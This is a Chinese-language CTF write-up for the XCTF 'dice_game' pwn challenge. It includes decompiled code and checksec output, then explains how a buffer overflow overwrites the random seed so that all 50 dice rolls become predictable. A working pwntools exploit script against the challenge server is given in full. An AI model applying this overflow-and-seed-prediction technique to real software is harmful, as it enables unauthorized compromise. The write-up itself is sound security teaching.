XCTF-CHALLENGE-DICE_GAME

IDA

主函数:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[55]; // [rsp+0h] [rbp-50h]
  char v5; // [rsp+37h] [rbp-19h]
  ssize_t v6; // [rsp+38h] [rbp-18h]
  unsigned int seed[2]; // [rsp+40h] [rbp-10h]
  unsigned int v8; // [rsp+4Ch] [rbp-4h]

  memset(buf, 0, 48uLL);
  *(_QWORD *)seed = time(0LL);  //随机数种子
  printf("Welcome, let me know your name: ", a2);
  fflush(stdout);
  v6 = read(0, buf, 80uLL);                     // overflow
  if ( v6 <= 49 )
    buf[v6 - 1] = 0;
  printf("Hi, %s. Let's play a game.\n", buf);
  fflush(stdout);
  srand(seed[0]);
  v8 = 1;
  v5 = 0;
  while ( 1 )
  {
    printf("Game %d/50\n", v8); 
    v5 = sub_A20();  
    fflush(stdout);
    if ( v5 != 1 )
      break;
    if ( v8 == 50 )
    {
      sub_B28((__int64)buf);
      break;
    }
    ++v8;
  }
  puts("Bye bye!");
  return 0LL;
}

signed __int64 sub_A20()
{
  signed __int64 result; // rax
  __int16 v1; // [rsp+Ch] [rbp-4h]
  __int16 v2; // [rsp+Eh] [rbp-2h]

  printf("Give me the point(1~6): ");
  fflush(stdout);
  _isoc99_scanf("%hd", &v1);  //scanf的格式化字符串,h代表短数据,l代表长数据
  if ( v1 > 0 && v1 <= 6 )
  {
    v2 = rand() % 6 + 1;                        //v2 == 1~6
    if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
      _assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 24u, "dice_game"); //无视
    if ( v1 == v2 )  
    {
      puts("You win.");
      result = 1LL;
    }
    else
    {
      puts("You lost.");
      result = 0LL;
    }
  }
  else
  {
    puts("Invalid value!");
    result = 0LL;
  }
  return result;
}
后门:
int __fastcall sub_B28(__int64 a1)
{
  char s; // [rsp+10h] [rbp-70h]
  FILE *stream; // [rsp+78h] [rbp-8h]

  printf("Congrats %s\n", a1);
  stream = fopen("flag", "r");
  fgets(&s, 100, stream);
  puts(&s);
  return fflush(stdout);
}

checksec

hunter@hunter:~/PWN/XCTF/xctf_challenge/dice_game$ checksec dice_game
[*] '/home/hunter/PWN/XCTF/xctf_challenge/dice_game/dice_game'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
hunter@hunter:~/PWN/XCTF/xctf_challenge/dice_game$ 

hunter@hunter:~/PWN/XCTF/xctf_challenge/dice_game$ ./dice_game
Welcome, let me know your name: dad
Hi, dad. Let's play a game.
Game 1/50
Give me the point(1~6): 2
You lost.
Bye bye!

保护全开几乎全开,结合上面的后门应该主要目的是实现跳转。

伪代码分析

main函数中:
char buf[55]; // [rsp+0h] [rbp-50h]
  char v5; // [rsp+37h] [rbp-19h]
  ssize_t v6; // [rsp+38h] [rbp-18h]
  unsigned int seed[2]; // [rsp+40h] [rbp-10h]
  unsigned int v8; // [rsp+4Ch] [rbp-4h]
v6 = read(0, buf, 80uLL);                     // overflow

显然可以读入80个字符,而buf到rbp的距离也是80个字符(0x50),所以 这里定义的变量都可以覆盖成我们想要的

signed __int64 sub_A20()函数中:
_isoc99_scanf("%hd", &v1);  //scanf的格式化字符串,h代表短数据,l代表长数据
  if ( v1 > 0 && v1 <= 6 )
  {
    v2 = rand() % 6 + 1;                        //v2 == 1~6
    if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
      _assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 24u, "dice_game"); //无视
    if ( v1 == v2 )  
    {
      puts("You win.");
      result = 1LL;
    }
    else
    {
      puts("You lost.");
      result = 0LL;
    }
  }
  else
  {
    puts("Invalid value!");
    result = 0LL;
  }
  return result;
}

主要功能是读入一个短整型数字于随机数进行比较,相等则 you win。在main函数中对该函数的调用可知这个比较会进行50次
成功比到50次后就进入后门获取flag

思路

程序想让我们和随机数 成功比对50次,这显然是不可能的。所以我们利用buf数组的溢出将随机数种子篡改为0.因为随机数种子在read之前就赋值了,我们篡改后就会固定不变。
(之前我一直在想办法篡改v8,使其等于50,这样我成功猜对一个数就行了,但是v8的赋值是在read之后所以,还是会被改回来。为此我在这里花了近两个小时,很烦)

获取随机数

在linux中编写一个获取随机数的程序(不要再Windows中,因为环境不一样)

#include<stdio.h>
#include<stdlib.h>

int main()
{
    unsigned int seed[2] = {0};


    srand(seed[0]);
    for(int i=0;i<50;i++)
    {
        printf("%d,",rand() % 6 + 1);
    }


    return 0;
 } 

结果:

hunter@hunter:~/PWN/XCTF/xctf_challenge/dice_game$ ./test 
2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1,

直接复制下来当作脚本元组

EXP

from pwn import*
from time import*
context.log_level = 'debug'


#sh = process('./dice_game')
sh = remote('220.249.52.133',52660)
print sh.recv()

payload = 'A'*64 + p64(0) + 'BBBB' + p32(50)  #这波是没注意v8的赋值问题,浪费时间的证据
#gdb.attach(sh)                                #主要是p64(0)这里篡改了seed[2]的值起作用
sh.sendline(payload)
print sh.recv()

rand = (2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1)

for i in range(50):
    seed = str(rand[i])
    sh.sendline(seed)
    #leep(1)
    print sh.recv()

sh.interactive()

结果:

You win.
Game 50/50
Give me the point(1~6): You win.
Congrats AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP
cyberpeace{3c15b24b5df0e56ae8d362d6a0f9c8dc}

Bye bye!

[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$  

  转载请注明: Squarer XCTF-CHALLENGE-DICE_GAME

  目录